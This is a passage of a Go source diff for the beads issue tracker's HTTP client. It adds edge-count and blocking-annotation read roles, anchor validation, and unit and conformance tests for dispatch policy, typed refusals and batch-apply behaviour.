edgeCountAnchors reads the per-anchor answer back onto the caller's own list. +// +// IT WALKS THE REQUEST, NOT THE RESPONSE, for the reason httpEdgeReader's +// regrouping does — the order and the membership of the answer are the +// REQUEST's, and a projection driven by the body would inherit whatever the +// server happened to send. Here that is sharper than usual, because the two +// facts this role publishes are a COUNT and a MISSING flag, and both have a +// plausible-looking default: a dropped entry reads as 0, and a lost flag reads +// as an anchor that exists. +// +// So an anchor the answer does not carry is an ERROR rather than a zero. The +// operation promises one entry per distinct requested id; a body missing one is +// a server that did not answer the question, and the two readings a client could +// substitute — count 0, or missing — are the two answers this role exists to +// tell apart. +func edgeCountAnchors(ids []string, body apigen.EdgeCounts) (issueops.EdgeCountResult, error) { + answered := make(map[string]apigen.AnchorEdgeCount, len(body.Anchors)) + for _, anchor := range body.Anchors { + answered[anchor.Id] = anchor + } + anchors := make([]issueops.AnchorEdgeCount, 0, len(ids)) + for _, id := range ids { + entry, ok := answered[id] + if !ok { + return issueops.EdgeCountResult{}, fmt.Errorf( + "bd serve answered an edge count with no entry for anchor %q: the operation carries one per distinct requested id, "+ + "and an absent one cannot be told from a count of 0 or from an anchor that is not there", id) + } + // Count is int64 on the wire, in apigen and on the role: a workspace's + // graph is not bounded by 2^53, and a narrowed read would answer a + // number NEAR the cardinality. + anchors = append(anchors, issueops.AnchorEdgeCount{ID: id, Count: entry.Count, Missing: entry.Missing}) + } + return issueops.EdgeCountResult{Anchors: anchors}, nil +} + +// httpBlockingAnnotator serves AnnotateBlocking from listBlockingAnnotations. +type httpBlockingAnnotator struct{ store *Store } + +// AnnotateBlocking decorates one anchored set of ids. +// +// The wire already answers one entry per distinct id in first-mention order, so +// the projection is the identity — but the never-nil promise on the two lists is +// this layer's, because a JSON `[]` decodes to a non-nil empty slice while an +// absent member decodes to nil, and the role promises a caller may range over +// both without checking. +func (a httpBlockingAnnotator) AnnotateBlocking(ctx context.Context, req issueops.BlockingRequest) (issueops.BlockingResult, error) { + if err := validateAnchors(req.IDs); err != nil { + return issueops.BlockingResult{}, err + } + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.BlockingResult{Items: []issueops.IssueBlocking{}}, nil + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + + var body apigen.BlockingAnnotations + if err := a.store.dispatch(ctx, wire.Request{ + Op: wire.OpListBlockingAnnotations, + Method: http.MethodGet, + Path: wire.PathDependenciesBlocking, + Query: q, + }, &body); err != nil { + return issueops.BlockingResult{}, err + } + + items := make([]issueops.IssueBlocking, 0, len(body.Items)) + for _, item := range body.Items { + if item.BlockedBy == nil { + item.BlockedBy = []string{} + } + if item.Blocks == nil { + item.Blocks = []string{} + } + items = append(items, item) + } + return issueops.BlockingResult{Items: items}, nil +} + +// distinct collapses repeated anchors, keeping each at the position of its first +// mention — the order both roles answer in. +// +// It COPIES rather than sorting or compacting in place: the caller's slice is +// theirs, and both roles promise not to touch it. +func distinct(ids []string) []string { + seen := make(map[string]bool, len(ids)) + out := make([]string, 0, len(ids)) + for _, id := range ids { + if id == "" || seen[id] { + continue + } + seen[id] = true + out = append(out, id) + } + return out +} + +// validateAnchors refuses an empty anchor id, and does so BEFORE the collapse. +// +// It is the one validation these two roles make for themselves, because the +// collapse would otherwise hide it in both directions: an empty entry alongside +// a real one would simply not be sent, and a request of nothing but empty +// entries would reach the empty-request arm looking like a request that named +// nothing. Those are different questions — an empty entry is ErrValidation, an +// empty slice is a success — and the server can only refuse what it receives. +func validateAnchors(ids []string) error { + for _, id := range ids { + if id == "" { + return fmt.Errorf("%w: an anchor id must not be empty", issueops.ErrValidation) + } + } + return nil +} diff --git a/internal/httpclient/roles_graph_cycles_test.go b/internal/httpclient/roles_graph_cycles_test.go new file mode 100644 index 000000000..5328fa6cb --- /dev/null +++ b/internal/httpclient/roles_graph_cycles_test.go @@ -0,0 +1,59 @@ +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// TestDetectCyclesIncludeTracksRefusesWithoutDialing is "L-cycles-tracks"'s +// pin: listDependencyCycles carries no include_tracks parameter at all, so a +// request that asks for the widened (tracks-following) walk is refused with a +// typed, ledger-cited error BEFORE any request reaches the wire, rather than +// silently answering the narrower default walk the server would have returned +// for a bare request. +// +// This is a unit pin rather than something the served tier proves: the +// refusal is pre-dial by design (mirrors TestEdgeCountRefusesMoreAnchorsThanTheWireCarries +// in counts_test.go), so a served run would only show that a request this +// client never sends would also have done something server-side. What has to +// be true here is that the client never dials at all. +func TestDetectCyclesIncludeTracksRefusesWithoutDialing(t *testing.T) { + w := newCountingWire(`{"items":[],"has_more":false}`) + detector, err := New(testTarget(t), w, nil).CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + + _, err = detector.DetectCycles(t.Context(), issueops.DetectCyclesRequest{IncludeTracks: true}) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("IncludeTracks request encoded without a refusal: %v", err) + } + var refusal *encode.RefusedError + if !errors.As(err, &refusal) || refusal.Row.ID != "L-cycles-tracks" { + t.Errorf("refusal cites %+v, want ledger row L-cycles-tracks", err) + } + if len(w.dialed) != 0 { + t.Errorf("IncludeTracks refusal dialed %d requests, want 0", len(w.dialed)) + } +} + +// TestDetectCyclesWithoutIncludeTracksStillDials is the companion case: a +// request that leaves IncludeTracks false is unaffected by the refusal above +// and still reaches listDependencyCycles exactly as before. +func TestDetectCyclesWithoutIncludeTracksStillDials(t *testing.T) { + w := newCountingWire(`{"items":[],"has_more":false}`) + detector, err := New(testTarget(t), w, nil).CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + + if _, err := detector.DetectCycles(t.Context(), issueops.DetectCyclesRequest{}); err != nil { + t.Fatalf("DetectCycles(IncludeTracks: false): %v", err) + } + if len(w.dialed) != 1 { + t.Errorf("dialed %d times, want exactly 1", len(w.dialed)) + } +} diff --git a/internal/httpclient/roles_test.go b/internal/httpclient/roles_test.go new file mode 100644 index 000000000..d821d104e --- /dev/null +++ b/internal/httpclient/roles_test.go @@ -0,0 +1,445 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "math/rand" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The database-free half of the read roles: the dispatch policy, the two +// constants this package had to copy, and the refusal shapes. None of it needs +// a server, so all of it runs in the default build rather than behind the cgo +// tag the served composition lives under. + +// recordingWire records the operations a role dispatched and answers each one +// with an empty body. +// +// The embedded WriteWire is nil for the reason fakeWire's is: it makes this +// double satisfy the transport seam however the write beads grow it, and a read +// role that somehow reached a write operation panics rather than getting a +// plausible zero. +type recordingWire struct { + WriteWire + + preflighted []string + dispatched []string + requests []wire.Request +} + +func (r *recordingWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + return &apigen.ContextResponse{}, nil +} + +func (r *recordingWire) Preflight(_ context.Context, op string) error { + r.preflighted = append(r.preflighted, op) + return nil +} + +func (r *recordingWire) Do(_ context.Context, req wire.Request, out any) error { + r.dispatched = append(r.dispatched, req.Op) + r.requests = append(r.requests, req) + switch body := out.(type) { + case *apigen.ReadyPage: + *body = apigen.ReadyPage{Items: []apigen.IssueWithCounts{}} + case *apigen.IssuesPage: + *body = apigen.IssuesPage{Items: []apigen.IssueWithCounts{}} + case *apigen.QueryPage: + *body = apigen.QueryPage{Items: []apigen.IssueWithCounts{}} + case *apigen.ReadyCount: + *body = apigen.ReadyCount{} + case *apigen.Setting: + *body = apigen.Setting{} + case *types.IssueDetails: + // Revision is required on every getIssue response + // (openapi.v0.yaml's IssueDetails schema), and Reader.Get now parses it + // back onto RowVersion (HIGH 5), so a canned response answering "" would + // be a server this client cannot follow, not the empty detail view this + // double meant to stand in for. + *body = types.IssueDetails{Revision: "1"} + } + return nil +} + +func recordingStore(t *testing.T) (*Store, *recordingWire) { + t.Helper() + w := &recordingWire{} + return New(testTarget(t), w, &apigen.ContextResponse{}), w +} + +// TestEveryDispatchSiteHonorsTheTwoSpeedPolicy is D6's mechanism, checked at +// the seam rather than at each call site. +// +// The POLICY lives in the wire package — a baseline operation returns from +// Preflight immediately, every other one forces the handshake and consults the +// advertised token — so what this store owes is that no operation reaches the +// transport without going through it. Routing every role through one dispatch +// helper is how that is made true; this is what proves the helper is the only +// route, and it names the baseline classification of each operation these roles +// use so a reclassification upstream lands here rather than silently. +func TestEveryDispatchSiteHonorsTheTwoSpeedPolicy(t *testing.T) { + ctx := context.Background() + s, w := recordingStore(t) + + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + if _, err := reader.Ready(ctx, issueops.ReadyRequest{}); err != nil { + t.Fatalf("Ready: %v", err) + } + if _, err := reader.List(ctx, issueops.ListRequest{SortBy: "created"}); err != nil { + t.Fatalf("List: %v", err) + } + if _, err := reader.Get(ctx, issueops.GetRequest{ID: "bd-1"}); err != nil { + t.Fatalf("Get: %v", err) + } + querier, err := s.Querier() + if err != nil { + t.Fatalf("Querier(): %v", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug"}); err != nil { + t.Fatalf("Query: %v", err) + } + counter, err := s.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter(): %v", err) + } + if _, err := counter.CountReady(ctx, issueops.ReadyRequest{}); err != nil { + t.Fatalf("CountReady: %v", err) + } + if _, err := s.GetConfig(ctx, "issue_prefix"); err != nil { + t.Fatalf("GetConfig: %v", err) + } + if _, err := s.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{"bd-1"}}); err != nil { + t.Fatalf("SearchIssues: %v", err) + } + + if len(w.preflighted) != len(w.dispatched) { + t.Fatalf("%d pre-flights for %d dispatches (%v vs %v): a dispatch that skipped the pre-flight would "+ + "answer an older server's bare 404 as an entity's not_found", + len(w.preflighted), len(w.dispatched), w.preflighted, w.dispatched) + } + for i, op := range w.dispatched { + if w.preflighted[i] != op { + t.Errorf("dispatch %d pre-flighted %q and dialed %q", i, w.preflighted[i], op) + } + } + + // The classification the pre-flight then applies. Stated here so a change to + // the baseline set upstream is a failure in this package rather than an + // extra round trip nobody notices on the hot work-distribution path. + for op, baseline := range map[string]bool{ + wire.OpListReadyWork: true, + wire.OpListIssues: true, + wire.OpGetIssue: true, + wire.OpQueryIssues: false, + wire.OpCountReadyWork: false, + wire.OpGetSetting: false, + // claimIssue is first-slice but NOT baseline: it forces the handshake so + // the identity gate runs before a write lands (ga-b8ddd.11). + wire.OpClaimIssue: false, + } { + if wire.IsBaseline(op) != baseline { + t.Errorf("wire.IsBaseline(%q) = %v, want %v", op, wire.IsBaseline(op), baseline) + } + } +} + +// TestDispatchWithoutATransportIsABuildWiringFault: a binary that registered +// this backend without linking a wire client is a build fault, not a user's, +// and the store says so rather than panicking on a nil. +func TestDispatchWithoutATransportIsABuildWiringFault(t *testing.T) { + s := New(testTarget(t), nil, nil) + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + if _, err := reader.Ready(context.Background(), issueops.ReadyRequest{}); !errors.Is(err, ErrNoTransport) { + t.Errorf("Ready with no transport = %v, want ErrNoTransport", err) + } +} + +// TestDefaultListLimitMatchesTheSharedDefault is the drift pin for the one +// constant this package had to copy. depguard denies internal/workapi here, but +// not to a test file, which is exactly the exemption this uses. +func TestDefaultListLimitMatchesTheSharedDefault(t *testing.T) { + if defaultListLimit != workapi.DefaultListLimit { + t.Errorf("defaultListLimit = %d, want workapi.DefaultListLimit = %d: a nil ListRequest.Limit would "+ + "then trim to a different page over http than it does locally", defaultListLimit, workapi.DefaultListLimit) + } +} + +// TestCompareIssuesByMatchesTheSharedComparator is the drift pin for the other +// copy: the display comparator the page epilogue applies. +// +// It is driven over a generated corpus rather than a handful of pairs because +// the interesting cases are the ones nobody writes down — equal keys, a nil +// ClosedAt against a set one, a title that differs only by case, ids whose +// natural and lexical orders disagree. +func TestCompareIssuesByMatchesTheSharedComparator(t *testing.T) { + rng := rand.New(rand.NewSource(1)) + base := time.Date(2026, 8, 8, 12, 0, 0, 0, time.UTC) + titles := []string{"alpha", "Alpha", "beta", ""} + statuses := []types.Status{types.StatusOpen, types.StatusClosed, types.StatusInProgress} + assignees := []string{"", "ana", "Bo"} + + corpus := make([]*types.Issue, 0, 40) + for i := 0; i < 40; i++ { + issue := &types.Issue{ + ID: "bd-" + strconv.Itoa(rng.Intn(20)), + Title: titles[rng.Intn(len(titles))], + Status: statuses[rng.Intn(len(statuses))], + Priority: rng.Intn(4), + IssueType: types.TypeTask, + Assignee: assignees[rng.Intn(len(assignees))], + CreatedAt: base.Add(time.Duration(rng.Intn(5)) * time.Hour), + UpdatedAt: base.Add(time.Duration(rng.Intn(5)) * time.Hour), + } + if rng.Intn(2) == 0 { + closed := base.Add(time.Duration(rng.Intn(5)) * time.Hour) + issue.ClosedAt = &closed + } + corpus = append(corpus, issue) + } + + for _, sortBy := range []string{"", "priority", "created", "updated", "closed", "status", "id", "title", "type", "assignee", "nonesuch"} { + for _, a := range corpus { + for _, b := range corpus { + if got, want := compareIssuesBy(a, b, sortBy), workapi.CompareIssuesBy(a, b, sortBy); got != want { + t.Fatalf("compareIssuesBy(%q) = %d, workapi.CompareIssuesBy = %d for\n a: %+v\n b: %+v", + sortBy, got, want, a, b) + } + } + } + } +} + +// TestReadRolesRefuseWhatTheWireCannotCarry pins the refusal SHAPE the roles +// hand back, without a server: both sentinels are reachable off one value, and +// the ledger row travels with it so D7's third taxonomy text has a flag and a +// reason to print. +func TestReadRolesRefuseWhatTheWireCannotCarry(t *testing.T) { + ctx := context.Background() + s, w := recordingStore(t) + reader, err := s.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + _, err = reader.List(ctx, issueops.ListRequest{IDFilter: "bd-1"}) + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("List with an IDFilter = %v, want *InexpressibleError", err) + } + if inexpressible.Refused.Row.Field != "IDFilter" { + t.Errorf("the refusal names %q, want IDFilter", inexpressible.Refused.Row.Field) + } + if inexpressible.Refused.Row.SpecRow == "" || inexpressible.Refused.Row.Why == "" { + t.Error("the refusal carries a ledger row with no reason or no citation") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Errorf("the refusal does not classify as *storage.ErrUnsupported for this backend: %v", err) + } + if !errors.Is(err, encode.ErrRefused) { + t.Errorf("the refusal does not classify as encode.ErrRefused: %v", err) + } + if unsup.Op != "Reader.List" { + t.Errorf("the refusal names Op %q, want the ROLE METHOD: nothing on the unsupported allowlist refuses this way", unsup.Op) + } + + // A refusal never dials. The encoder decides it, so the round trip that + // would have carried a filter the server cannot apply never happens. + if len(w.dispatched) != 0 { + t.Errorf("a refused request dialed %v", w.dispatched) + } +} + +// TestWriteRoleRefusalsMatchTheReadShape pins that a write-side refusal now +// satisfies errors.As(*storage.ErrUnsupported) exactly the way a read's does +// (TestReadRolesRefuseWhatTheWireCannotCarry, above): Sweeper.Sweep's Limit, +// CycleDetector.DetectCycles' IncludeTracks, and ReadyClaimer.ClaimNext's +// filter all raised a bare *encode.RefusedError before this review round and +// none of the three went through (*Store).inexpressible the way every read +// role already did. A caller classifying on *storage.ErrUnsupported (rather +// than reaching into the ledger row directly) got three different answers +// depending on which role it called; this is what makes it one answer. +func TestWriteRoleRefusalsMatchTheReadShape(t *testing.T) { + ctx := context.Background() + + assertUnsupported := func(t *testing.T, err error, wantOp string) { + t.Helper() + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("got %v, want *InexpressibleError", err) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Fatalf("the refusal does not classify as *storage.ErrUnsupported for this backend: %v", err) + } + if !errors.Is(err, encode.ErrRefused) { + t.Errorf("the refusal does not classify as encode.ErrRefused: %v", err) + } + if unsup.Op != wantOp { + t.Errorf("the refusal names Op %q, want %q", unsup.Op, wantOp) + } + } + + t.Run("Sweeper.Sweep Limit", func(t *testing.T) { + s, w := recordingStore(t) + sweeper, err := s.Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + _, err = sweeper.Sweep(ctx, issueops.SweepRequest{Tier: "ephemeral", Limit: 5}) + assertUnsupported(t, err, "Sweeper.Sweep") + if len(w.dispatched) != 0 { + t.Errorf("a refused sweep dialed %v", w.dispatched) + } + }) + + t.Run("CycleDetector.DetectCycles IncludeTracks", func(t *testing.T) { + s, w := recordingStore(t) + detector, err := s.CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + _, err = detector.DetectCycles(ctx, issueops.DetectCyclesRequest{IncludeTracks: true}) + assertUnsupported(t, err, "CycleDetector.DetectCycles") + if len(w.dispatched) != 0 { + t.Errorf("a refused DetectCycles dialed %v", w.dispatched) + } + }) + + t.Run("ReadyClaimer.ClaimNext", func(t *testing.T) { + s, w := recordingStore(t) + claimer, err := s.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + molType := issueops.MolType(types.MolTypeWork) + _, err = claimer.ClaimNext(ctx, issueops.ClaimNextRequest{ + Actor: "ana", + Filter: issueops.ReadyRequest{MolType: &molType}, + }) + assertUnsupported(t, err, "ReadyClaimer.ClaimNext") + if len(w.dispatched) != 0 { + t.Errorf("a refused ClaimNext dialed %v", w.dispatched) + } + }) +} + +// TestTheRolesOwnPageRefusalsAreValidationNotCapability separates the two kinds +// of "no" a caller can get, because the recovery differs: a request the ROLE +// forbids is the caller's to fix, and a request the WIRE cannot carry is a +// statement about this backend. +func TestTheRolesOwnPageRefusalsAreValidationNotCapability(t *testing.T) { + ctx := context.Background() + s, _ := recordingStore(t) + + counter, err := s.ReadyCounter() + if err != nil { + t.Fatalf("ReadyCounter(): %v", err) + } + for _, req := range []issueops.ReadyRequest{ + {Limit: ptrTo(5)}, + {Limit: ptrTo(0)}, + {Offset: 1}, + } { + if _, err := counter.CountReady(ctx, req); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CountReady(%+v) = %v, want ErrValidation: a cardinality has no page", req, err) + } + } + + querier, err := s.Querier() + if err != nil { + t.Fatalf("Querier(): %v", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: -1}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Query with a negative Offset = %v, want ErrValidation", err) + } + if _, err := querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: 1, SortBy: "priority"}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Query with an Offset under a display order = %v, want ErrValidation", err) + } + // The one Offset shape that is this BACKEND's inability rather than the + // request's fault classifies the other way. + _, err = querier.Query(ctx, issueops.QueryRequest{Expression: "type=bug", Offset: 1}) + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Errorf("Query with a plain Offset = %v, want *ErrUnsupported", err) + } +} + +// TestSearchIssuesRefusesAPartialIDWithItsOwnText pins D11's dedicated refusal. +// The raw "failed to search issues" fallthrough it replaces answers the wrong +// question: the input may be a partial id or a full id that does not exist. +func TestSearchIssuesRefusesAPartialIDWithItsOwnText(t *testing.T) { + s, w := recordingStore(t) + _, err := s.SearchIssues(context.Background(), "bd-a3f", types.IssueFilter{}) + var partial *PartialIDSearchError + if !errors.As(err, &partial) { + t.Fatalf("a substring SearchIssues = %v, want *PartialIDSearchError", err) + } + if partial.Input != "bd-a3f" { + t.Errorf("the refusal echoes %q, want the caller's own input", partial.Input) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Errorf("the refusal does not classify as *storage.ErrUnsupported: %v", err) + } + if len(w.dispatched) != 0 { + t.Errorf("a partial-id refusal dialed %v; there is no operation to dial", w.dispatched) + } +} + +// TestExactIDFanOutIsOneGetIssuePerID pins the D11 fast path's wire shape: one +// getIssue per named id, in the caller's order, with no listing call at all. +func TestExactIDFanOutIsOneGetIssuePerID(t *testing.T) { + s, w := recordingStore(t) + if _, err := s.SearchIssues(context.Background(), "", types.IssueFilter{IDs: []string{"bd-1", "bd-2", "bd-3"}}); err != nil { + t.Fatalf("SearchIssues: %v", err) + } + if len(w.requests) != 3 { + t.Fatalf("the fan-out issued %d requests, want one per id", len(w.requests)) + } + for i, want := range []string{"bd-1", "bd-2", "bd-3"} { + if w.requests[i].Op != wire.OpGetIssue { + t.Errorf("request %d dialed %q, want getIssue", i, w.requests[i].Op) + } + if w.requests[i].IssueID != want { + t.Errorf("request %d names issue %q, want %q in the caller's order", i, w.requests[i].IssueID, want) + } + } +} + +// TestTheExactIDsFanOutIsBounded: an unbounded id set would be an unbounded +// burst at one shared server, so the encoder bounds it and the store surfaces +// the refusal rather than the burst. +func TestTheExactIDsFanOutIsBounded(t *testing.T) { + s, w := recordingStore(t) + ids := make([]string, encode.MaxExactIDs+1) + for i := range ids { + ids[i] = "bd-" + strconv.Itoa(i) + } + if _, err := s.SearchIssues(context.Background(), "", types.IssueFilter{IDs: ids}); !errors.Is(err, encode.ErrRefused) { + t.Errorf("a fan-out past the bound = %v, want the ledgered refusal", err) + } + if len(w.dispatched) != 0 { + t.Errorf("a refused fan-out still dialed %d times", len(w.dispatched)) + } +} + +func ptrTo[T any](v T) *T { return &v } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go new file mode 100644 index 000000000..f6c8a6257 --- /dev/null +++ b/internal/httpclient/served_batch_apply_test.go @@ -0,0 +1,457 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_batch_apply_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The BatchApplier contract, run through client -> in-process bd serve -> +// reference store: the widest role on this surface and the last of the wire +// wave's three, wired by client wave ga-mijra. +// +// WHAT THE COMPOSITION BUYS HERE that the three in-tree legs cannot. Those legs +// run two bodies through different transaction wrappers; this one adds a fourth +// wrapper that is a NETWORK, and the states it can lose are exactly the ones +// this contract is built to separate: the ORDER of a heterogeneous plan, which +// becomes an array on a JSON wire and comes back positional; the row-version +// tokens, which are 64-bit and would corrupt through a float; the absent-versus- +// zero distinction on every guard; a metadata value's source literal; and the +// identity of the item that refused, which on an all-or-nothing operation +// exists nowhere but the problem document's item_* members. +// +// ONE ENVIRONMENT PER CASE, like the other per-role families here: the contract +// namespaces its ids by prefix precisely so it can be run that way, and a +// shared database would turn an id collision between two contracts into a +// debugging session. + +// applyParkBead owns this family's two parks: L-apply-ref's unparks when the +// wire grows a typed ref-key member on the problem document, and +// W-DepAddItem.HasSpawner's when ApplyDepAddItem publishes a spawner member. +const applyParkBead = "ga-mijra" + +func newServedBatchApplyFixture(t *testing.T, prefix string) conformance.BatchApplyFixture { + t.Helper() + env := newServedEnv(t, prefix) + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return conformance.BatchApplyFixture{ + IssuePrefix: env.prefix, + BatchApplier: applier, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CountHistoryMatching: env.countHistoryMatching, + CommitPending: env.commitPending, + } +} + +func TestServedBatchApplyAppliesEveryItemInDeclarationOrder(t *testing.T) { + conformance.RunBatchApplyAppliesEveryItemInDeclarationOrder(t, t.Context(), newServedBatchApplyFixture(t, "hba00")) +} + +func TestServedBatchApplyBindsEachNamedKeyToItsMintedID(t *testing.T) { + conformance.RunBatchApplyBindsEachNamedKeyToItsMintedID(t, t.Context(), newServedBatchApplyFixture(t, "hba01")) +} + +func TestServedBatchApplyResolvesABackwardKeyRef(t *testing.T) { + conformance.RunBatchApplyResolvesABackwardKeyRef(t, t.Context(), newServedBatchApplyFixture(t, "hba02")) +} + +func TestServedBatchApplyRefusesAKeyDeclaredLater(t *testing.T) { + conformance.RunBatchApplyRefusesAKeyDeclaredLater(t, t.Context(), newServedBatchApplyFixture(t, "hba03")) +} + +func TestServedBatchApplyRefusesAKeyNoItemDeclares(t *testing.T) { + conformance.RunBatchApplyRefusesAKeyNoItemDeclares(t, t.Context(), newServedBatchApplyFixture(t, "hba04")) +} + +func TestServedBatchApplyRefusesARefNamingNeitherOrBoth(t *testing.T) { + conformance.RunBatchApplyRefusesARefNamingNeitherOrBoth(t, t.Context(), newServedBatchApplyFixture(t, "hba05")) +} + +func TestServedBatchApplyRollsBackEverythingWhenTheLastItemRefuses(t *testing.T) { + conformance.RunBatchApplyRollsBackEverythingWhenTheLastItemRefuses(t, t.Context(), newServedBatchApplyFixture(t, "hba06")) +} + +func TestServedBatchApplyNeverReordersItsItems(t *testing.T) { + conformance.RunBatchApplyNeverReordersItsItems(t, t.Context(), newServedBatchApplyFixture(t, "hba07")) +} + +func TestServedBatchApplyEndGateRefusesAHierarchyTheRequestBuilt(t *testing.T) { + conformance.RunBatchApplyEndGateRefusesAHierarchyTheRequestBuilt(t, t.Context(), newServedBatchApplyFixture(t, "hba08")) +} + +func TestServedBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck(t *testing.T) { + conformance.RunBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck(t, t.Context(), newServedBatchApplyFixture(t, "hba09")) +} + +func TestServedBatchApplyExpectedVersionThatMatchesLetsTheItemThrough(t *testing.T) { + conformance.RunBatchApplyExpectedVersionThatMatchesLetsTheItemThrough(t, t.Context(), newServedBatchApplyFixture(t, "hba0a")) +} + +func TestServedBatchApplyStaleExpectedVersionRefusesTheWholeRequest(t *testing.T) { + conformance.RunBatchApplyStaleExpectedVersionRefusesTheWholeRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba0b")) +} + +func TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched(t *testing.T) { + conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched(t, t.Context(), newServedBatchApplyFixture(t, "hba0c")) +} + +func TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated(t *testing.T) { + conformance.RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated(t, t.Context(), newServedBatchApplyFixture(t, "hba0d")) +} + +func TestServedBatchApplyEvaluatesExpectedStatusAsModified(t *testing.T) { + conformance.RunBatchApplyEvaluatesExpectedStatusAsModified(t, t.Context(), newServedBatchApplyFixture(t, "hba0e")) +} + +func TestServedBatchApplyEvaluatesExpectedAssigneeAsModified(t *testing.T) { + conformance.RunBatchApplyEvaluatesExpectedAssigneeAsModified(t, t.Context(), newServedBatchApplyFixture(t, "hba0f")) +} + +func TestServedBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T) { + conformance.RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t, t.Context(), newServedBatchApplyFixture(t, "hba10")) +} + +func TestServedBatchApplyAllowsAClosedParentToGainAnOpenChild(t *testing.T) { + conformance.RunBatchApplyAllowsAClosedParentToGainAnOpenChild(t, t.Context(), newServedBatchApplyFixture(t, "hba11")) +} + +func TestServedBatchApplyUpdateAfterCloseInOneRequest(t *testing.T) { + conformance.RunBatchApplyUpdateAfterCloseInOneRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba12")) +} + +func TestServedBatchApplyReportsChangedPerItem(t *testing.T) { + conformance.RunBatchApplyReportsChangedPerItem(t, t.Context(), newServedBatchApplyFixture(t, "hba13")) +} + +func TestServedBatchApplyANoOpBatchRecordsNoHistory(t *testing.T) { + conformance.RunBatchApplyANoOpBatchRecordsNoHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba14")) +} + +func TestServedBatchApplyRecordsOneEntryForAWriteThatLandedNothing(t *testing.T) { + conformance.RunBatchApplyRecordsOneEntryForAWriteThatLandedNothing(t, t.Context(), newServedBatchApplyFixture(t, "hba15")) +} + +func TestServedBatchApplyRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunBatchApplyRecordsExactlyOneHistoryEntry(t, t.Context(), newServedBatchApplyFixture(t, "hba16")) +} + +func TestServedBatchApplyHistoryNamesTheActorAndReadsTheProvenance(t *testing.T) { + conformance.RunBatchApplyHistoryNamesTheActorAndReadsTheProvenance(t, t.Context(), newServedBatchApplyFixture(t, "hba17")) +} + +func TestServedBatchApplyARefusedRequestRecordsNoHistory(t *testing.T) { + conformance.RunBatchApplyARefusedRequestRecordsNoHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba18")) +} + +func TestServedBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory(t *testing.T) { + conformance.RunBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory(t, t.Context(), newServedBatchApplyFixture(t, "hba19")) +} + +func TestServedBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated(t *testing.T) { + conformance.RunBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated(t, t.Context(), newServedBatchApplyFixture(t, "hba1a")) +} + +func TestServedBatchApplyAcceptsAnExternalEdgeTarget(t *testing.T) { + conformance.RunBatchApplyAcceptsAnExternalEdgeTarget(t, t.Context(), newServedBatchApplyFixture(t, "hba1b")) +} + +func TestServedBatchApplyNormalizesTheWaitsForGate(t 